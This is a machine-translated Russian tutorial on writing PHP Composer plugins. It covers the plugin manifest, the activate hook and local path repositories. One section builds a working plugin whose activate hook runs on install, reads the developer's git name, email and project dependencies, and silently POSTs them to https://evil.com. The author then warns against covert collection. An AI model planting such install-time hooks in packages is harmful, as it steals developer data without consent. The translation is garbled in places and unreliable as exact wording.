Статьи

Пьяный с силой плагинов композитора

Composer — самый острый инструмент в наборе инструментов современного разработчика PHP. Дни ручного управления зависимостями ушли в далекое прошлое, и на их месте у нас есть такие замечательные вещи, как Semver. Вещи, которые помогают нам спать по ночам, потому что мы можем обновлять наши зависимости, не разбивая камни вместе.

неандертальцы разбивают камни

Несмотря на то, что мы так часто используем Composer, не так много общих знаний о том, как его расширять. Как будто он делает такую ​​хорошую работу в своем состоянии по умолчанию, что его расширение не стоит времени или усилий, чтобы сделать или документировать. Даже официальные документы обойдут проблему . Возможно, потому что никто не просит об этом …

Тем не менее, недавние изменения значительно упростили разработку плагинов Composer. Composer также недавно перешел с альфа-версии на бета-версию, возможно, в наиболее консервативном цикле выпуска, когда-либо задуманном. Это то, что делает современный PHP возможным в его нынешнем виде. Это краеугольный камень профессиональной разработки PHP. Просто перешел с альфы на бета.

Итак, сегодня я подумал, что мы изучим возможности разработки плагинов Composer и создадим свежую документацию по ходу работы.

Вы можете найти код для этого плагина на github.com/assertchris-tutorials/tutorial-composer-plugins .

Начиная

Для начала нам нужно создать хранилище плагинов, отдельное от приложения, с которым мы будем его использовать. Плагины устанавливаются как любая обычная зависимость. Давайте создадим новую папку с файлом composer.json :

 { "type" : "composer-plugin" , "name" : "sitepoint/plugin" , "require" : { "composer-plugin-api" : "^1.0" } } 

Все эти вещи важны! Мы даем этому плагину тип composer-plugin иначе он никогда не будет рассматриваться как таковой. Зависимости composer-plugin доступны для хуков в жизненном цикле Composer, к которым мы будем обращаться.

Мы называем плагин, чтобы наше приложение могло требовать его как зависимости. Вы можете использовать все, что вам нравится здесь, но вам нужно будет запомнить имя на потом.

Нам также нужно требовать composer-plugin-api . Версия здесь важна, потому что наш плагин будет рассматриваться как совместимый с определенной версией API плагина, что может влиять на такие вещи, как сигнатуры методов.

Далее нам нужно автоматически загрузить класс плагина и сообщить Composer, как он называется:

 "autoload" : { "psr-4" : { "SitePoint\\" : "src" } } , "extra" : { "class" : "SitePoint\\Plugin" } 

Мы создадим папку src с файлом Plugin.php . Вот файл, который Composer собирается загрузить (как первый хук в жизненном цикле Composer):

 namespace SitePoint ; use Composer \ Composer ; use Composer \ IO \ IOInterface ; use Composer \ Plugin \ PluginInterface ; class Plugin implements PluginInterface { public function activate ( Composer $composer , IOInterface $io ) { print "hello world" ; } } 

PluginInterface требует публичного метода activate , который вызывается при загрузке плагина. Самое время проверить, работает ли код плагина. Теперь нам нужно создать папку приложения с собственным файлом composer.json :

 { "name" : "sitepoint/app" , "require" : { "sitepoint/plugin" : "*" } , "repositories" : [ { "type" : "path" , "url" : "../sitepoint-plugin" } ] , "minimum-stability" : "dev" , "prefer-stable" : true } 

Этот значительно проще, чем раньше, и скорее всего будет напоминать, как люди будут использовать ваш плагин. Лучше всего было бы выпустить стабильные версии вашего плагина через Packagist, но пока вы разрабатываете, это нормально. Он указывает Composer требовать любую доступную версию sitepoint/plugin и откуда получать эту зависимость.

Репозитории путей являются относительно недавним дополнением к Composer, и они автоматически управляют символьными ссылками, поэтому вам не нужно это делать. Поскольку нам требуется нестабильная зависимость, мы сообщаем Composer, что минимальная стабильность должна быть dev до dev .

В подобных ситуациях рекомендуется также по возможности предпочитать стабильные зависимости …

Теперь вы сможете запустить composer install из папки вашего приложения и увидеть сообщение hello world ! И все это без кода на Github или Packagist .

Я рекомендую запустить rm -rf vendor composer.lock; composer install rm -rf vendor composer.lock; composer install во время разработки, поскольку он будет регулярно сбрасывать состояние приложения и / или плагина. Особенно, когда вы начинаете возиться с установочными папками!

Изучение возможностей плагинов

Также неплохо потребовать composer/composer , так как это загрузит интерфейсы и классы, с которыми мы собираемся работать, в папку vendor.

Большую часть того, что вы узнаете о плагинах, вы можете найти, просто просмотрев исходный код Composer. В качестве альтернативы, вы можете «проверить» два экземпляра, предоставленных для метода activate вашего плагина. Это также помогает, если вы используете IDE, например, PHPStorm , поэтому вы можете легко переходить к определениям.

Например, мы можем проверить $composer->getPackage() чтобы увидеть, что находится в корневом файле composer.json . Мы можем использовать $io->ask("...") чтобы задавать вопросы в процессе установки.

Положить их для использования

Давайте построим что-то практичное, хотя, возможно, немного дьявольское. Давайте сделаем так, чтобы наш плагин отслеживал пользователей и зависимости, которые им требуются. Мы начнем с поиска их имени пользователя Git и адреса электронной почты:

 public function activate ( Composer $composer , IOInterface $io ) { exec ( "git config --global user.name" , $name ) ; exec ( "git config --global user.email" , $email ) ; $payload = [ ] ; if ( count ( $name ) > 0 ) { $payload [ "name" ] = $name [ 0 ] ; } if ( count ( $email ) > 0 ) { $payload [ "email" ] = $email [ 0 ] ; } } 

Имена пользователей Git и адреса электронной почты обычно хранятся в глобальном конфиге, что означает, что при запуске git config --global user.name из терминала вернет их. Мы можем сделать этот шаг дальше, пропустив их через exec и проверив результаты.

Далее давайте отследим название приложения (если оно определено), а также зависимости и их версии. Мы можем сделать то же самое для зависимостей разработки, поэтому давайте создадим метод для обоих:

 private function addDependencies ( $type , array $dependencies , array $payload ) { $payload = array_slice ( $payload , 0 ) ; if ( count ( $dependencies ) > 0 ) { $payload [ $type ] = [ ] ; } foreach ( $dependencies as $dependency ) { $name = $dependency - > getTarget ( ) ; $version = $dependency - > getPrettyConstraint ( ) ; $payload [ $type ] [ $name ] = $version ; } return $payload ; } 

Мы получаем ограничение имени и версии для каждой зависимости и добавляем их в массив $payload . Вызов array_slice для массива полезных данных не array_slice побочных эффектов этому методу, поэтому его можно вызывать любое количество раз с одинаковыми результатами.

Это часто называют чистой функцией или примером использования неизменяемой переменной.

Затем мы вызываем этот метод с массивами зависимостей:

 public function activate ( Composer $composer , IOInterface $io ) {  // ...get user details $app = $composer - > getPackage ( ) - > getName ( ) ; if ( $app ) { $payload [ "app" ] = $app ; } $payload = $this - > addDependencies ( "requires" , $composer - > getPackage ( ) - > getRequires ( ) , $payload ) ; $payload = $this - > addDependencies ( "dev-requires" , $composer - > getPackage ( ) - > getDevRequires ( ) , $payload ) ; } 

Наконец, мы можем отправить эти данные куда-нибудь:

 public function activate ( Composer $composer , IOInterface $io ) {  // ...get user details  // ...get project details $context = stream_context_create ( [ "http" = > [ "method" = > "POST" , "timeout" = > 0.5 , "content" = > http_build_query ( $payload ) , ] , ] ) ; @ file_get_contents ( "https://evil.com" , false , $context ) ; } 

Мы могли бы использовать Guzzle для этого, но file_get_contents работает так же хорошо. Мы отправляем запрос POST на https://evil.com с сериализованной полезной нагрузкой.

Будь хорошим

Я не хочу, чтобы это выглядело как рекомендация для скрытого сбора пользовательских данных. Но, возможно, полезно знать, сколько данных кто-то может собрать, просто требуя хорошо продуманного плагина Composer.

Вы можете использовать опцию composer install --no-plugins , но многие фреймворки и системы управления контентом зависят от плагинов для правильной настройки.

Несколько дополнительных предупреждений:

  1. Если вы собираетесь использовать exec , фильтруйте и проверяйте любые данные, которые не жестко запрограммированы. В противном случае вы создаете векторы атаки для своего кода.
  2. Если вы отправляете данные куда-либо, отправляйте их по HTTPS. В противном случае другие злоумышленники могут воспользоваться преимуществами сбора вредоносных данных.
  3. Не отслеживать данные пользователя без согласия. Можно спросить, прежде чем брать данные, так что делайте это каждый раз! Что-то вроде IOInterface::ask("...") — это то, что вам нужно …

Помогла ли вам эта статья? Возможно, у вас есть идея для плагина; как пользовательский плагин установщика или плагин, который загружает автономную документацию для популярных проектов. Дайте нам знать в комментариях ниже …